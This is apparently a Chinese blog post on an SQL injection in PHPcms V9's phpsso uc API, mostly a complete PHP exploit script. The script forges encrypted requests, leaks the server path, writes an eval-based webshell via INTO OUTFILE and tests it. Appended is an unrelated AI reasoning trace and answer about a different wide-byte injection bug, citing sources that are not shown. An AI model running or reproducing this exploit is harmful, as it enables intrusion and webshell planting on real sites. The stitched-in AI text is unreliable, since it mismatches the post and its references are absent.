Phpcms V9 uc api SQL注入漏洞

本文详细分析了PHPcms v9版本中ucapis接口存在的SQL注入漏洞,包括uc_key配置为空、deleteuser接口的GPC参数处理不当导致的SQL注入风险,并提供了利用漏洞获取权限的代码示例。

http://bbs.wolvez.org/viewtopic.php?id=256

漏洞分析:

1.未启用ucenter服务的情况下uc_key为空

define('UC_KEY', pc_base::load_config('system', 'uc_key'));

2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。

    public function deleteuser($get,$post) {
        pc_base::load_app_func('global', 'admin');
        pc_base::load_app_class('messagequeue', 'admin' , 0);
        $ids = new_stripslashes($get['ids']);
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");

SQL语句为

SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)

利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell

 

 

 

 

<?php
print_r('
---------------------------------------------------------------------------
PHPcms (v9 or Old Version) uc api sql injection 0day
by rayh4c#80sec.com
---------------------------------------------------------------------------
');

if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpcms
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /
php '.$argv[0].' localhost /phpcms/ -p81
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
---------------------------------------------------------------------------
');
    die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    $parts[1]=(int)$parts[1];
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ? $key : '');
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}

$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"MySQL Errno") > 0){
echo "[2] 发现存在SQL注入漏洞"."\n";
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
//print_r($matches);
if(!empty($matches)){
echo "[4] 得到web路径 " . $matches[0]."\n";
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
$SQL = "time=999999999999999999999999&ids=1)";
$SQL.=" and 1=2 union select '<?php eval({1}quot;."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
$SQL.="&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"Access denied") > 0){
echo "[-] MYSQL权限过低 禁止写入文件 :(";
die;
}
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"<title>phpinfo()</title>") > 0){
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it :)";
}
}else{
echo "[-]未取到web路径 :(";
}
}else{
echo "[*]不存在SQL注入漏洞"."\n";
}

?>


 

 

<think>好的,我现在需要处理用户关于PHPCMS V9宽字节注入漏洞的查询。首先,用户提到了这个漏洞存在于respond.php文件中,并且引用了云盾自研的修复方案。我需要先理解宽字节注入的原理,以及PHPCMS V9中的具体问题点。 宽字节注入通常发生在使用GBK等双字节编码的数据库连接时,攻击者通过添加单引号等字符,利用转义函数(如addslashes或mysql_real_escape_string)的漏洞,形成转义字符被合并成宽字节,从而绕过过滤。例如,%df&#39; 会被转义为%df\’,而%df和\组成的字节可能被视为一个宽字符,导致单引号逃逸。 接下来,我需要查看用户提供的引用内容。引用[1]指出respond.php中的代码逻辑不严谨导致漏洞,云盾提供了自研修复方案。引用[2]和[3]提到了其他漏洞的修复方法,比如trim函数的使用和intval的替换,这可能对理解修复方法有帮助。 用户需要的是修复宽字节注入的具体方法。根据引用[1]的说明,修复可能涉及修改数据库连接的字符集设置,比如使用UTF-8代替GBK,或者在参数处理时正确转义。另外,检查是否存在addslashes的使用,并替换为mysql_real_escape_string或mysqli的预处理语句。 还需要考虑PHPCMS V9.5.9之后的版本默认使用mysqli,这可能意味着原有的mysql函数已被替换,但可能仍有地方未正确处理字符集。因此,修复步骤可能包括: 1. 确认数据库连接使用UTF-8字符集,避免GBK。 2. 检查respond.php中接收输入的部分,对用户输入进行严格过滤,如使用intval或强制类型转换。 3. 替换可能引起宽字节漏洞的转义函数,采用参数化查询或预处理语句。 此外,引用[3]提到在phpsso.php中替换uid的处理方式,可能类似,需要确保所有输入的参数都经过正确的类型检查和转义。 用户可能还需要官方补丁或自行修改代码。如果官方有发布补丁,建议优先应用。如果没有,根据引用内容,云盾的自研方案可能涉及修改数据库连接字符集和输入处理方式。 需要注意,用户自行修复后,云盾可能仍会检测到漏洞,因为云盾依赖特定的修复模式,这时可以忽略提示。但必须确保修复方法正确有效,比如使用预处理语句或正确设置字符集。 总结修复步骤: - 设置数据库连接字符集为UTF-8。 - 在respond.php中过滤输入参数,使用intval或类型转换。 - 使用mysqli_real_escape_string或预处理语句处理字符串输入。 - 检查其他可能存在类似漏洞的文件,如phpsso.php,进行类似修复。 需要验证这些步骤是否符合PHPCMS V9的结构,并参考现有漏洞修复方案,如引用[2]和[3]中的例子,确保代码修改正确。同时,提醒用户测试修复后的代码,确保没有引入新问题。</think>### PHPCMS V9宽字节注入漏洞解析与修复方案 #### 一、漏洞原理 宽字节注入漏洞源于PHP与数据库的字符集配置差异。当数据库连接使用GBK编码时,攻击者可构造如$`%df&#39;`$的输入,利用转义函数(如$`addslashes()`$)生成的转义符$`\`$与$`%df`$组合成合法宽字符$`運`$,导致单引号逃逸并执行恶意SQL[^1]。该漏洞PHPCMS V9的支付响应模块$`\phpcms\modules\pay\respond.php`$中被触发。 #### 二、定位漏洞代码 在$`respond.php`$中,未严格过滤外部输入参数(如订单号、支付方式标识),直接拼接SQL语句: ```php // 原漏洞代码示例 $orderid = $_GET[&#39;orderid&#39;]; $sql = "SELECT * FROM phpcms_pay WHERE orderid=&#39;$orderid&#39;"; ``` #### 三、修复方案 1. **强制UTF-8编码** 修改数据库连接配置,在$`caches\configs\database.php`$中明确设置字符集: ```php &#39;charset&#39; => &#39;utf8&#39;, // 禁用gbk/gb2312 ``` 2. **参数类型强校验** 对数值型参数使用$`intval()`$强制转换: ```php // 修复代码示例 $orderid = intval($_GET[&#39;orderid&#39;]); $sql = "SELECT * FROM phpcms_pay WHERE orderid=$orderid"; ``` 3. **使用预处理语句** 改写为mysqli预处理方式(需PHPCMS V9.5.9+): ```php $stmt = $mysqli->prepare("SELECT * FROM phpcms_pay WHERE orderid=?"); $stmt->bind_param("i", $orderid); $stmt->execute(); ``` 4. **补充过滤函数** 对字符串参数使用$`mysqli_real_escape_string()`$: ```php $username = mysqli_real_escape_string($link, $_POST[&#39;username&#39;]); ``` #### 四、验证修复效果 通过注入测试payload验证: ``` http://example.com/pay/respond.php?orderid=1%df%27%20AND%201=1-- ``` 修复后应返回空结果或错误提示,而非正常数据。 #### 五、注意事项 1. 若已使用框架级修复(如PDO全站封装),云盾可能仍会误报,此时可忽略提示 2. 同步检查其他模块(如$`api\phpsso.php`$)的同类型漏洞[^3]
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值